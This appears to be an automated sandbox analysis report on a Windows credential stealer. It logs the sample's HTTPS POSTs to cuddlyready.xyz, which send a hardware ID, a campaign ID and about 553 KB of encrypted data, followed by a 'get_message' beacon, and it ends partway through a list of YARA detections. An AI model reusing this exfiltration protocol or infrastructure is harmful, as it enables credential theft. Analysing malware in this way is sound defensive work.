2024-12-23 07:15:36 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BI799UUW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: cuddlyready.xyz
2024-12-23 07:15:36 UTC	1184	OUT	Data Raw: 2d 2d 42 49 37 39 39 55 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 49 37 39 39 55 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 49 37 39 39 55 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 49 37 39 39 55 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --BI799UUWContent-Disposition: form-data; name="hwid"E13C65341E4EA067AC8923850305D13E--BI799UUWContent-Disposition: form-data; name="pid"1--BI799UUWContent-Disposition: form-data; name="lid"PsFKDg--pablo--BI799UUWContent-Disposit
2024-12-23 07:15:36 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9d5fmvkiot1fibe0s45u7e739; expires=Fri, 18 Apr 2025 01:02:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VgIXfNds5G5n92CTwg9cQLB4YL4LhO4VrEo%2B%2B2ELAz5acahHZemKIP%2BWcu9jkFuGnZZ0OCnd4q245O7Z7HTd9buhFqslvTBkBjoznNu5VNO76LLZsXxfk5WVZ6lNy7Exun4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668fb78cdf7c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1832&rtt_var=700&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2090&delivery_rate=1547429&cwnd=207&unsent_bytes=0&cid=565fabf001f5636e&ts=781&x=0"
2024-12-23 07:15:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:15:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49748	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:38 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SA8OXMKHJ51KR5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 553139 Host: cuddlyready.xyz
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: 2d 2d 53 41 38 4f 58 4d 4b 48 4a 35 31 4b 52 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 41 38 4f 58 4d 4b 48 4a 35 31 4b 52 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 41 38 4f 58 4d 4b 48 4a 35 31 4b 52 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 41 38 4f 58 4d 4b 48 Data Ascii: --SA8OXMKHJ51KR5Content-Disposition: form-data; name="hwid"E13C65341E4EA067AC8923850305D13E--SA8OXMKHJ51KR5Content-Disposition: form-data; name="pid"1--SA8OXMKHJ51KR5Content-Disposition: form-data; name="lid"PsFKDg--pablo--SA8OXMKH
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: bf 34 df 54 0a 25 0a 6a c4 7b 1b 73 f9 e9 f5 26 69 b8 10 26 51 07 17 3b 3d 2a 78 85 15 ce ac d1 8c 02 1f 2f d4 ed 30 4c 44 11 cb 41 a2 62 ec f5 5a ee 86 14 f6 c3 bc 42 d3 df c6 cf 8e d7 38 a0 1b 8a ce 1c 8d db ed bb 36 6a 12 d5 2e e0 6d 6a d2 8c 12 b9 3c 60 9a 81 bd 61 64 ab 28 cf fa ee f0 a2 4e 5c 74 46 85 34 d7 59 f7 10 2f c6 5e 7c 61 d7 2a b1 bc 5d bc 88 9e 8d de 8c af 0f f8 4b b2 a0 ae ce 01 73 67 11 4f 01 6e a9 ab 2d af 85 d1 e0 28 9a 72 08 ef 1d 0d 39 9f 07 65 e4 34 08 f6 e3 0c cb 0f d1 bc c7 df 21 83 50 64 5d 17 0f 35 e5 d6 78 0d 96 94 f5 06 7c bc 80 5d 4f 0b 64 96 33 50 0e 35 21 55 81 33 8d da cc 37 a7 f3 05 78 c1 a5 7d 35 3a 73 f8 c5 54 0c 60 49 ae cb 28 02 8a 55 29 2e 80 17 9f d3 ab 7d a9 7d 75 30 9c e2 84 5d 50 f2 f0 42 d3 3d 4a 75 2f 5c fb 56 Data Ascii: 4T%j{s&i&Q;=x/0LDAbZB86j.mj<`ad(N\tF4Y/^\|a]KsgOn-(r9e4!Pd]5x\|]Od3P5!U37x}5:sT`I(U).}}u0]PB=Ju/\V
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: ac b1 82 43 28 db 84 40 e0 ca c0 5a 46 29 33 35 2b 62 7c a3 81 90 47 45 7a 86 10 ab 4c 68 be c6 6f 27 52 87 b1 6b e2 be 76 18 e9 31 dc 77 45 48 66 75 fe 8f 17 75 bc 6c 5b d9 6f 01 22 cf 60 89 fb ae ab 77 84 32 cf 24 49 e4 35 a7 55 e8 c9 16 f6 04 7e df 4e 29 90 b0 18 52 56 c1 90 5e 1e d2 00 66 68 2e 88 39 25 b8 bb e1 85 32 fe ac 93 f8 9f d7 8f 6a 4c f2 d9 4f 92 f3 f6 bf 24 33 d3 a9 5c 03 fd b4 68 ec d1 01 bc ac 52 2d 85 6b c6 a1 d6 6f 4d c1 85 30 a6 10 11 ad 11 9a 39 52 2f 9d 66 7a cc 56 b9 49 34 bd 57 44 d8 ec 28 5c fb a3 e3 8d 1d 5a 3d 54 e6 4a 05 7c 23 a5 b9 d9 a3 ce 20 cf 27 15 49 12 0c 98 3f 8d b9 42 82 ce b4 97 47 9d 23 47 b3 c8 02 16 b9 ca d2 48 02 b2 4f 71 b4 d6 a3 fa 89 46 22 d3 c4 8b f3 53 db 7d e3 cd b8 90 85 c1 56 d8 e7 05 1c c7 dd b8 96 33 22 Data Ascii: C(@ZF)35+b\|GEzLho'Rkv1wEHfuul[o"`w2$I5U~N)RV^fh.9%2jLO$3\hR-koM09R/fzVI4WD(\Z=TJ\|# 'I?BG#GHOqF"S}V3"
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: d8 c4 c6 d5 ce ee 5a 23 13 a3 86 f0 b9 a1 88 5b 8c de 5e 59 b2 16 24 82 ba d3 4b 7b 33 60 3a 18 fa 63 82 f3 d6 cf 7a ac 06 29 40 2f 2e 9e d1 91 cd 9b c3 13 85 fc 78 f1 cf 85 34 27 e2 ec 8c 0d 45 de 4c d2 e5 32 89 a9 11 fe 8b 6f 91 6a 5a e6 49 99 89 21 73 27 c8 e4 e3 f1 f3 0d 8e b4 07 ec 83 e0 04 a8 64 eb 15 a8 e4 78 6a 75 5b 31 7b 23 85 fa b7 72 17 2e c4 ba ae 4b 1d 68 cb ea c7 77 a3 6e 1f 8d c3 14 6a 1f f5 68 7e d1 11 55 c8 b3 66 45 46 49 0a 56 1d e8 5d eb a9 bb 72 47 29 df 73 66 cd 8f 73 ef 9e 71 1e 82 20 ca e8 a6 36 35 13 d1 b4 e3 8b 37 28 3c 8c 66 2f 67 06 59 63 71 d5 f1 05 d6 f8 e2 da d8 c7 9f 42 b2 87 58 a4 87 51 0f 6c cf f6 a4 54 72 c9 d5 93 80 bb a9 90 21 dd f9 99 fb 2f 31 35 d1 d0 c3 4c 90 7f d9 f1 3b b9 07 91 b7 88 3f 6c 92 03 0f a4 2b c7 7d a0 Data Ascii: Z#[^Y$K{3`:cz)@/.x4'EL2ojZI!s'dxju[1{#r.Khwnjh~UfEFIV]rG)sfsq 657(<f/gYcqBXQlTr!/15L;?l+}
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: 22 a1 66 78 ff 10 d3 f4 64 2d 81 a2 e0 2a 77 df 50 94 f1 6b 28 a4 e0 f3 3e d9 57 a6 04 26 2d 6a 43 ea 23 73 78 92 b8 6b 44 51 2e 26 3a a6 8f 27 af c8 45 7f b8 55 0f 05 07 b1 d7 49 31 61 b7 b4 88 69 61 a5 3d 51 1a 48 58 df 52 ac 95 3e 6b 8c 2d 40 3f 47 de f9 ba 98 18 21 48 b3 22 fc 3f 97 dc ef 93 36 86 72 34 79 fb 83 0a 1d 2c 21 85 08 87 9c f3 dd 0d 21 bc 3d a2 b3 4b 4f 29 89 c5 5b b3 6c f2 60 c7 1b 17 8b c1 d0 b2 5d 46 27 92 15 d2 ee ea 60 18 1e 11 94 26 27 ac eb 29 05 99 10 95 66 24 ec 1e dc 06 92 db 29 cd ec 8e 8b 04 8b 08 62 6b 57 24 e3 86 70 39 c8 d6 5b 9c 41 e5 c4 ac 1f da b9 56 a0 e7 7b 6b 6b c0 fe c3 fa f2 5c e6 ea a5 bc b1 53 6b 62 fb 8e 5c bb 8f 6f 24 b4 e9 f2 da c8 5e d7 b5 18 e1 ef ec 8d 38 c0 3e 1b 98 89 a4 ae ac 97 1c c3 6a dd 48 16 31 ce 7c Data Ascii: "fxd-*wPk(>W&-jC#sxkDQ.&:'EUI1aia=QHXR>k-@?G!H"?6r4y,!!=KO)[l`]F'`&')f$)bkW$p9[AV{kk\Skb\o$^8>jH1\|
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: 05 7b ff 74 de e4 cc fd 7d b4 46 88 21 f8 bf 4c e8 8d 1e 98 fd 4b 7b 6e 75 67 07 a7 0d 56 c7 09 50 f6 23 0c 9e 02 4a 6f e0 ec e6 04 f3 03 2e ac 78 bd 52 fb cb 6c f1 3b df df 32 a6 10 0d b7 76 fb 2e bf fb 4b fa 19 e1 9f 02 e0 d5 32 a0 d8 ed 2e eb be c0 38 f2 ab ba a8 f7 ed 7a e3 20 44 46 07 0f 7e 39 cb 83 30 85 57 6a 97 b9 5c 55 9d 5e 6c 21 82 be e4 05 b5 20 69 e2 1b 42 cb 8f c5 42 09 b3 76 81 19 f9 12 c6 b5 a7 dc b7 63 76 d5 cc 4f 86 ae 3f d5 6a 32 6f cc a8 80 7e ed 5c 0b 59 7f db 34 a9 15 16 da 99 6d 3f c0 03 28 1d 1d 82 43 f3 72 56 87 4c c8 65 a8 72 c1 6e 58 f4 12 52 69 d7 55 c5 60 da 2c 06 83 97 a6 9c 1b 7b 2b 9e 5f eb 7a 6d a5 6b 93 99 7e 1a 78 64 bc f7 6c 7b 42 23 80 3e 29 da 0b 3b 1a 88 58 4b 34 18 6d 29 62 23 7f 54 13 d2 dd 1b 7c f0 de 74 25 c4 94 Data Ascii: {t}F!LK{nugVP#Jo.xRl;2v.K2.8z DF~90Wj\U^l! iBBvcvO?j2o~\Y4m?(CrVLernXRiU`,{+_zmk~xdl{B#>);XK4m)b#T\|t%
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: 08 a7 19 79 73 aa 96 3f 17 c3 2c 96 e3 51 71 01 41 98 00 5b dd ec e9 a6 15 53 7f a1 31 b9 61 a0 c4 88 e5 cb f7 e2 81 cd 17 0b bc 06 ab cb 92 b4 22 fb cf 77 11 4c 0a ed a9 52 44 fb 5f e5 5c af 83 89 f7 4b 88 71 f1 89 c2 fa 1d 57 27 21 79 a0 50 02 02 40 34 ce 55 61 eb d7 55 e8 b8 0e 7c 4e bc b8 a0 9c 8b 87 2c 59 c5 b2 37 27 60 7c 2a 95 72 4d 95 96 82 3f 6e 7b fc 8d a2 9c 8e d3 2d bc 75 ad 5e 07 85 39 44 c9 47 74 d5 70 36 9c 34 f8 d7 be d2 de c4 74 65 df f8 71 4a e8 95 c4 c1 90 9e 8c d2 46 82 37 72 ba 4e 22 17 8f 57 1a 89 87 22 a1 28 5f 29 31 64 bc 4a bd 00 f0 fe 86 ee 14 05 b7 e5 28 96 64 07 eb 06 c9 e1 c9 24 02 2a 22 4f 4c cc 08 96 e5 66 43 57 82 65 c1 89 81 1b 57 6c 0a cb 39 5e 07 31 79 b9 2d d1 11 3a 14 f1 14 8a 78 ec 11 57 6f a1 9b c7 29 a6 f9 65 a4 05 Data Ascii: ys?,QqA[S1a"wLRD_\KqW'!yP@4UaU\|N,Y7'`\|rM?n{-u^9DGtp64teqJF7rN"W"(_)1dJ(d$"OLfCWeWl9^1y-:xWo)e
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: d3 f2 e0 7f 3c 4d 41 21 f2 52 67 d9 98 8f 30 31 70 d7 76 e4 5c ae cd 87 b7 1e 92 d6 9d 25 7d 93 0f ae a4 e3 a7 f9 2c 32 65 da aa a3 f2 45 31 4f 6e ca c4 5b 3c b4 df 2f 36 8d f6 51 94 87 07 fd c5 b9 8a 31 70 81 91 82 44 1c 21 17 72 71 7e 3c a0 04 03 0c ad 20 ad b4 bb ce 51 75 35 89 48 cb 02 20 e8 10 7c 0e 09 c2 be d1 c0 aa d6 8a 16 8c f6 ed 91 62 a6 1e 30 90 a8 30 a7 c9 dc e7 ee 07 b3 e3 ae 25 32 03 96 d0 92 20 b1 03 76 09 78 28 f3 14 bc 3a 88 f5 3d 9b 90 13 08 ae 09 31 de d2 94 e2 4c e7 c5 bc ba fd 82 2b 61 b4 29 8e f1 56 4a 78 a6 dd 34 fc f2 49 f2 15 f0 e2 f7 7e b3 1a 0e e5 b2 f1 af d7 94 94 01 2d 57 9e 31 fd 3d 05 0a 44 3f b2 1a 13 e5 61 b0 08 10 84 8c b6 d5 01 73 9c d3 f7 77 67 f1 53 61 17 8c 29 ff 44 f8 76 e0 f3 94 60 24 5f 84 e2 e0 b3 15 2b 4a ab 2a Data Ascii: <MA!Rg01pv\%},2eE1On[</6Q1pD!rq~< Qu5H \|b00%2 vx(:=1L+a)VJx4I~-W1=D?aswgSa)Dv`$_+J*
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: cc ce 0e 47 36 1b 23 39 27 35 d8 2d f4 eb dd eb 8a 32 ac 2f 32 ec da ca fa 41 ff cc f9 7b 8c b5 d8 ea 81 bf 3f f3 4f 8f 40 ec 3e a1 f8 35 56 d9 94 79 27 d3 20 55 48 08 6e 37 d0 2e ba 15 19 38 f1 f5 a7 ea 7b db 11 a1 0f 1d fa 9a 98 c5 97 af 2e 56 85 4c ed 3c 4c 2d aa 5a 2d 55 fd 5b d3 ac 29 8a e5 a5 ee f8 af 47 af cf 7d c8 7a f0 f3 79 eb 61 3f 4f e1 60 74 83 25 fe 09 51 45 c2 f0 38 9d 62 22 29 b9 4f 48 cc fd 4f 3e 8e de 5a f2 e3 de 83 9c 87 41 7f df 3e d4 bd ee c5 e9 52 fd f1 dd 89 c3 9e b9 f6 a5 60 f9 af 6f 5f 92 17 c9 74 f2 4c 97 c5 c2 e6 2e 0b 0d 9b f2 f6 2c 7b b8 70 3c 4b 38 9b d0 1a dd 7f 36 38 16 fe 62 a4 ea 74 16 0d ef 7e e5 3b e4 ee d0 65 84 01 b5 ad 41 2b 6c b8 68 e9 7b 83 d9 0b 45 09 2b c9 43 94 e9 f9 eb 67 a3 4a df 96 41 35 5a df ab b8 a7 9d 51 Data Ascii: G6#9'5-2/2A{?O@>5Vy' UHn7.8{.VL<L-Z-U[)G}zya?O`t%QE8b")OHO>ZA>R`o_tL.,{p<K868bt~;eA+lh{E+CgJA5ZQ
2024-12-23 07:15:38 UTC	15331	OUT	Data Raw: ef c7 b6 19 95 6e 28 a9 92 c2 fd b3 bf 25 93 7b 69 d4 71 8d d0 12 3d 2e 98 e9 73 b1 c4 58 2c 78 99 17 e7 c3 f0 8c 92 2a 9e 3f cd 5c 68 10 f4 97 7e a7 b3 1d 3d bc 9a c1 6a fb c1 87 61 da 83 7c 98 f7 55 b0 ac 14 3e 5f 83 eb 77 92 b3 fa 15 33 81 d0 cb d7 fc 1c e3 c1 df 05 16 23 b3 7d b7 28 56 1d a5 e6 3f dd 59 e5 3f cf b1 30 18 c1 56 24 1f 00 15 91 e1 74 81 ca 4c be 97 5e 50 a1 e5 9c 6a f1 d0 f5 9c d1 ad c0 9d 19 13 2d 04 fc 8d e7 0a 8d 39 88 0e 3b d6 bb 78 b3 b7 ec ef 06 ce e3 ae 26 7d e6 cf 16 b7 8a 13 9d 7d f4 52 85 c0 ef 2b b1 46 55 bf 62 46 9f 50 ee 1d 89 5e 2c f7 7a 28 97 9b 9d 90 be a0 02 5a b6 52 33 ce 50 91 89 63 6e 0c ce 35 1b 60 32 fc 40 91 17 b9 b1 3b 70 03 f7 6a d7 97 05 91 7d 89 e8 a2 27 7a ba d5 ef 4f b6 1e 29 90 e7 78 2a d8 a3 5b f1 ee 2b 19 Data Ascii: n(%{iq=.sX,x?\h~=ja\|U>_w3#}(V?Y?0V$tL^Pj-9;x&}}R+FUbFP^,z(ZR3Pcn5`2@;pj}'zO)x[+
2024-12-23 07:15:40 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4r1r0638c1laott94610f2jtt6; expires=Fri, 18 Apr 2025 01:02:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J43YEICzY3ec4PlfJSzSCC5oxOE%2Fkq9wi1%2F1ENG3lUCA4GdiNlDouieczB8y6NPS4btvyATIs67q4sTBNEptpuTlQyyhBtAHMI1fnssYZ9uoFrlQ3RTf8Adu7NpoPCeJ83A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668fc6beb26a52-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&min_rtt=2056&rtt_var=792&sent=300&recv=578&lost=0&retrans=0&sent_bytes=2837&recv_bytes=555637&delivery_rate=1364485&cwnd=216&unsent_bytes=0&cid=c89fbfdfc30da47d&ts=2486&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49757	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: cuddlyready.xyz
2024-12-23 07:15:42 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=E13C65341E4EA067AC8923850305D13E
2024-12-23 07:15:43 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2mk84ticuq7g29f5patq04bsat; expires=Fri, 18 Apr 2025 01:02:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p3xza2uO4CuC27iBAVL66jbpKgUmjJ%2BKx48SdXo1VxtrfLne%2FFdj5FPb1RH1bSMHCmevTNcyETbrC9z7X5dC8Dg8UYdMWuYsfZ0VYNU83AJ1gI4fAJAGtGK9H7edOV1Kecc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668fdee81e41fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1691&rtt_var=660&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1625835&cwnd=181&unsent_bytes=0&cid=0fcb4a27f44f10db&ts=770&x=0"
2024-12-23 07:15:43 UTC	214	IN	Data Raw: 64 30 0d 0a 4b 6b 6b 44 57 35 51 73 77 36 72 44 30 4e 51 46 6c 66 33 50 72 33 37 6c 59 46 6f 7a 66 35 35 58 6d 41 30 48 38 76 49 35 4a 76 31 78 4d 69 45 75 74 68 62 68 77 72 65 6b 70 44 2f 4a 30 70 4f 41 54 39 31 56 64 41 46 4f 71 33 6d 70 50 44 54 63 77 77 39 36 30 6b 55 76 5a 51 65 37 53 4b 62 4d 37 62 57 73 59 4c 66 52 37 63 6b 4b 78 31 70 71 48 31 33 37 64 61 49 39 65 74 36 4a 47 31 50 66 45 47 74 72 4c 2b 42 63 2b 66 62 73 6a 50 73 30 72 63 6a 68 6e 55 2f 51 54 6d 73 43 54 4c 42 6d 72 6c 45 6f 67 59 5a 63 52 35 42 32 5a 6e 45 36 2b 6b 69 73 78 2b 32 31 72 47 43 33 30 65 33 4a 43 73 64 61 61 68 39 64 2b 33 57 69 50 58 71 76 0d 0a Data Ascii: d0KkkDW5Qsw6rD0NQFlf3Pr37lYFozf55XmA0H8vI5Jv1xMiEuthbhwrekpD/J0pOAT91VdAFOq3mpPDTcww960kUvZQe7SKbM7bWsYLfR7ckKx1pqH137daI9et6JG1PfEGtrL+Bc+fbsjPs0rcjhnU/QTmsCTLBmrlEogYZcR5B2ZnE6+kisx+21rGC30e3JCsdaah9d+3WiPXqv
2024-12-23 07:15:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	02:15:19
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\0OkLsJL2Bn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0OkLsJL2Bn.exe"
Imagebase:	0x130000
File size:	1'817'600 bytes
MD5 hash:	6FB1B9F7E9401B07AC16A04A4A1629F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424241594.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424514583.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420755075.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423580795.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423215100.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422533162.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424029355.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422429279.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421974868.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422867072.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421188440.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423895230.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424844900.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423447285.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421848660.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421525273.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420631880.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1425321244.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423073046.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421711035.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1425238181.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421054192.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 